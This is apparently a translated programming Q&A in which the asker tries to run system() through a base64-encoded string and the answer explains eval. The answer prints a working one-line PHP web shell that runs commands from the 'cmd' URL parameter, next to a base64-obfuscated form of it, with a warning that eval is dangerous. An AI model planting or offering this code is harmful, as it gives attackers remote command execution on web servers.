如何在base 64解码函数内运行系统函数

时间:2016-07-10 19:08:57

标签: php

我正在尝试测试脚本

我想在base64解码函数中运行系统函数

但它不起作用!

<?php base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSkg")
?>

localhost/test.php?cmd=id

1 个答案:

答案 0 :(得分:1)

PHP的base64_decode函数获取一个字符串(在base64中编码)并将其解码回原始数据。然后,该函数将解码后的数据作为字符串返回,这意味着您的代码实际上如下所示:

<?php "system($_GET['cmd']) "
?>

(运行此代码毫无意义)。

如果你想要PHP运行&#34;运行&#34; (或评估)你解密的字符串 - 你应该使用php的eval语言结构:

<?php eval("system($_GET['cmd']);");
?>

请注意字符串末尾添加的;eval调用内)。

  

非常重要

     

请注意,使用eval非常危险,因为它允许执行任意代码   你应该使用它,除非你真的知道你在做什么。